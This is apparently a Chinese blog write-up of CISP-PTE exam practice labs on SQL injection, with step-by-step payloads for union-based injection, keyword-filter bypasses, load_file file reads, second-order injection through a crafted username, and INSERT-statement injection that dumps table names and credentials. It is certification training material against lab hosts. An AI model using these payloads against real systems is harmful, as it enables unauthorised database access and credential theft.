CISP-PTE考前练习-SQL注入

news/2024/7/5 5:58:59

文章目录

      • 题目一:联合查询注入
      • 题目二:二次注入
      • 题目三:文章发布系统
      • 题目四:模拟实战练习
      • 摘抄

题目一:联合查询注入

第一步 常规的 访问页面发现参数id

http://192.168.253.207/PTE/1.Sql_Injection/

在这里插入图片描述

第二步 尝试闭合

id=1%27)--+ 页面回显正常
id=1%27) 页面回显错误

第三步 查看回显字段的位数

id=1')order by  4--+ 回显正常
id=1')order by 4--+ 回显异常

在这里插入图片描述
在这里插入图片描述

第四步 判断回显的位置

id=-1') union select 1,2,3,4 --+ 发现union被过滤
id=-1') UNunionion select 1,2,3,4 --+  大小写双写绕过
发现字段2,3,回显

在这里插入图片描述

在这里插入图片描述

第五步 结合文件读取,查看文件内容

id=-1') UNunionion select 1,2,load_file('c://key.php%27'),4 --+  
提交:

http://192.168.253.214/PTE/1.Sql_Injection/vulnerabilities/fu1.php?id=-1%27)%20UNunionion%20select%201,2,load_file(%27c://key.php%27),4%20--+

在这里插入图片描述

题目二:二次注入

第一步 首先进入页面,发现注册
在这里插入图片描述

第二步 注册一个特殊账户

注册用户名:admin'、admin"、admin')、admin'#
多尝试几次

在这里插入图片描述

第三步 修改密码

在这里插入图片描述
在这里插入图片描述

第四步 查看修改后的结果
在这里插入图片描述

重新使用修改后的密码,登录admin,发现成功

题目三:文章发布系统

第一步 访问首页

在登录得地方,尝试万能密码,进不去,发现不回显
在注册得地方,也没有发现回显
直接注册一个用户

在这里插入图片描述

第二步 通过注册得账号进入,有个文章发表的地方
在这里插入图片描述
在这里插入图片描述

发表一篇文章,
在这里插入图片描述

发现回显数据库语句

insert article1 value('49E0CAD0-F7E8-5BC2-FA78-7975F5807E14','123admintest1','123456','123admin')

思路就是让value提前通过‘)形成闭合,在文章内容的地方闭合,注意第三个参数是用户名得带上
发现发现文章的地方是使用插入一条数据的值,value(标题,内容,用户名),然后存放到数据库,可以同时插入两条内容,类似于(标题,内容,用户名),(标题,内容,用户名),使得第一条闭合,然后第二天插入自己想要的语句,采取文章发表页面进行查看

123456','123admin'),('123456','2','3 发现字段2和3能够回显
1','123admin'),('1',database(),'select version() 发现空格被过滤
1','123admin'),('1',database(),'3' 有回显
1','123admin'),('1',select/**/version(),'3' 通过注释进行过滤

在这里插入图片描述

查看发表成功得文章

insert article1 value('377856A7-4CF3-5384-E1AD-37ED2AE6D3A2','qweasd','123456','123admin'),('123456','2','3','123admin')

发表了两篇文章

在这里插入图片描述

1','123admin'),('1',database(),'select version()

在这里插入图片描述

查看回显
在这里插入图片描述

第三步 构造闭合,查看回显

1','123admin'),('1',(select/**/version()),'3 通过注释进行过滤

在这里插入图片描述

查看发布的文章
在这里插入图片描述

第四步 查看当前数据库下面得表名

1','123admin'),('1',(select group_concat(table_name) from information_schema.tables where table_schema='2web'),'3
添加注释/**/
1','123admin'),('1',(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='2web'),'3

在这里插入图片描述

article,article1,users1
在这里插入图片描述

第五步 查询user1表中得字段名称

1','123admin'),('1',(select group_concat(column_name) from information_schema.columns where table_name='users1'),'3
注释后的
1','123admin'),('1',(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='users1'),'3

在这里插入图片描述

password,username,XremarkX4354
在这里插入图片描述

第六步 查询user1表中username、password的字段值

1','123'),('1',(select password from users1 limit 0,1),'3
注释后
1','123admin'),('1',(select/**/password/**/from/**/users1/**/limit/**/0,1),'3

在这里插入图片描述
在这里插入图片描述

依次limit(0,1)、limit(1,1)、limit(2,1)、limit(3,1)、通过INtrude遍历查看
在这里插入图片描述

发现不在密码字段,继续查询
在这里插入图片描述

1','123admin'),('1',(select/**/XremarkX4354/**/from/**/users1/**/limit/**/0,1),'3

在这里插入图片描述

题目四:模拟实战练习

题目要求

所谓SQL注入,就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
数据库中可以找到Key1

在这里插入图片描述

第一步 形成闭合

通过尝试发现--+ #被过滤
uuid=xx'  and '1'='1
uuid=xx' or '1'='1 页面回显正常

在这里插入图片描述
在这里插入图片描述

第二步 使用union查询,查看回显的位置

发现order by被过滤,只能1,2,3,4,5,6依次尝试
d6'union select 1,2,3,4,5 or '1' = '1 页面回显错误
d6'union select 1,2,3,4,5,6 or '1' = '1 页面回显字段2 

在这里插入图片描述
在这里插入图片描述

第三步 查询表名
当前数据库

d6'union select 1,database(),3,4,5,6 and '1' = '1 
当前数据库中的表
d6'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='2web'),3,4,5,6 and '1' = '1
Article,IS_KEY

在这里插入图片描述
在这里插入图片描述

第四步 查看列名

d6'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='2web' and table_name='IS_KEY'),3,4,5,6 and '1' = '1

在这里插入图片描述

第五步 查询字段

uuid=-xx' union select 1,(select group_concat(haha) from IS_KEY),3,4,5,6 and '1' = '1

在这里插入图片描述

摘抄


想让日子过得丰富,就应该保持积极开放的心态,多了解、多接触新事物。
不要总是怀有偏见,更不要盲目抗拒。
因为很多时候,你拒绝的可能不是一件事,而是通往崭新生活的一扇门。
要知道,真正让一个人衰老的原因,往往与年龄无关,而是从你丧失对新事物的好奇心开始的。
打开眼界,才能改变认知。
  ----《开放心态》



http://lihuaxi.xjx100.cn/news/88148.html

相关文章

安科瑞IoT能源管理系统解决方案在马来西亚某工厂的应用

安科瑞陈沁雨:1-8-7-0-2-1-1-2-8-7-3 1.应用场景 客户需要收集基本能耗数据并上传到管理系统,以便使用PC实现实时和远程数据监控。 2.技术选择 2.1三相监测电路的额定电压为415Vac L-L,而额定电流低于80A AC,因此计量装置的选…

第26章 物联网软件系统测试

目录 一、主要内容 二、物联网概述 1、物联网定义 2、物联网的三个典型特征 3、物联网应用的三项关键技术 4、物联网的安全架构 三、物联网安全架构的设备层 1、定义 2、保护措施 3、原则 四、物联网安全架构的通信层 1、定义 2、保护措施 3、原则 五、物联网安全架构的云平台层…

python 碰到问题

好的 python 文件具有结构性 一个好的python文件具有结构性,即文件中只含有class, if __name__ "__main__". vscode 中的矩形选择问题 mac中使用快捷键shiftoption鼠标选中 mac 中快捷键 mac 打开网页,轻触鼠标两下(但是不按下…

后端发送HTTP请求

后端发送HTTP请求 1 原始方式 背景: get:获取微信的accessToken post:设置微信公众号的自定义菜单 1.1 get方式 //get方式发起请求 public String get(String url){try{URL urlObj new URL(url);//开连接URLConnection connection urlObj…

C# 多线程九 任务Task的简单理解与运用三

目录 方法: ConfigureAwait(Boolean) ContinueWith Delay Dispose() Dispose(Boolean) 说明: FromCanceled(CancellationToken) FromCanceled(CancellationToken) FromResult(TResult) FromException(Exception) FromException(Except…

神经网络识别仿真实验,神经网络算法实验报告

1、关于GAN生成式对抗网络中判别器的输出的问题 ... 摘要 生成式对抗网络GAN(Generative adversarial networks)目前已经成为人工智能学界一个热门的研究方向.GAN的基本思想源自博弈论的二人零和博弈,由一个生成器和一个判别器构成&#xff…

RN基础组件3 —— Image 和ImageBackground

import {Image} from react-native <Image source{}/> 说明&#xff1a; ①RN中加载图片有两种情形&#xff1a; 情形1&#xff1a;加载一张本地(手机App中)图片 —— 必须使用“导入”把图片从PC机打包入手机中 const p1 require(./img/1.jpg) //把图片打包入手机…

深入浅出贪心算法

前言 到目前为止学了数组、链表两类物理数据结构&#xff0c;和栈、队列两类线性逻辑结构&#xff0c;以及树&#xff08;二叉树、二叉查找树、红黑树&#xff09;、图非线性数据结构&#xff0c;以及基于这些数据结构的二分查找、DFS/BFS、递归、排序等算法。 接下来会学习贪…